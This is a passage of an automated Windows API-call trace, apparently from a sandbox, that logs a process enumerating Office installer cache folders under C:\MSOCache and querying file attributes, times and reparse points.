ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.285] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0260.285] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0260.285] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0260.285] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0260.285] GetLastError () returned 0x12 [0260.285] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0260.285] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0260.286] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0260.286] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0260.286] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0260.286] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0260.286] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0260.286] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0260.286] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94b690, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x94b690, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0260.286] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94b690) returned 1 [0260.286] NtClose (Handle=0x18c) returned 0x0 [0260.287] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0260.287] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0260.287] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.287] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0260.287] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0260.287] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0260.287] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0260.287] GetLastError () returned 0x12 [0260.288] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549080 [0260.288] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0260.288] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.288] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0260.288] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0260.288] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0260.288] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0260.288] GetLastError () returned 0x12 [0260.288] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0260.288] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0260.288] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0260.288] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0260.288] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0260.288] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0260.289] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0260.289] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0260.289] GetLastError () returned 0x12 [0260.289] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9439e0) returned 1 [0260.289] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0260.289] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943ae8) returned 1 [0260.289] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943f40) returned 1 [0260.289] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0260.289] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0260.419] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0260.422] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0260.429] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94b690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94b690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0260.431] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94b690) returned 1 [0260.431] NtClose (Handle=0x188) returned 0x0 [0260.433] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0260.435] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0260.476] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.477] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="")) returned 1 [0260.482] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="")) returned 1 [0260.484] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0260.484] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0260.486] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0260.488] GetLastError () returned 0x12 [0260.488] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549080 [0260.491] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0260.497] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.498] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="")) returned 1 [0260.498] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="")) returned 1 [0260.499] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0260.499] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0260.500] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0260.500] GetLastError () returned 0x12 [0260.502] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0260.502] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0260.507] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0260.507] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0260.508] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0260.514] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0260.516] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0260.517] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0260.517] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94b690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94b690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0260.517] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94b690) returned 1 [0260.517] NtClose (Handle=0x190) returned 0x0 [0260.518] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0260.518] FindFirstFileExW (in: 